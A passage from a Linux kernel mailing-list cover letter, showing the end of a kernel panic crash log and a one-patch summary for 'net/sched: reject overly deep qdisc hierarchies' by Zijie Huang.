[  192.468410][    C0] RDX: ffffc9000dbdf380 RSI: ffff88804c17cc00 RDI: ffff88803c2ca580
[  192.468414][    C0] RBP: ffffc9000dbd8090 R08: 0000000000000005 R09: 000000000000ffff
[  192.468418][    C0] R10: 0000000000000000 R11: 0000000000000001 R12: ffff88803c2ca580
[  192.468422][    C0] R13: dffffc0000000000 R14: ffffc9000dbd8000 R15: ffff88804c179280
[  192.468426][    C0] FS:  00007f69fe54f000(0000) GS:ffff8880d62af000(0000) knlGS:0000000000000000
[  192.468437][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  192.468442][    C0] CR2: ffffc9000dbd7fd8 CR3: 000000004b49e000 CR4: 0000000000352ef0
[  192.468455][    C0] Kernel panic - not syncing: Fatal exception in interrupt
[  192.469576][    C0] Kernel Offset: disabled

-----END crash log-----

Best regards,
Zijie Huang


Zijie Huang (1):
  net/sched: reject overly deep qdisc hierarchies

 net/sched/sch_api.c | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

-- 
2.47.2
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help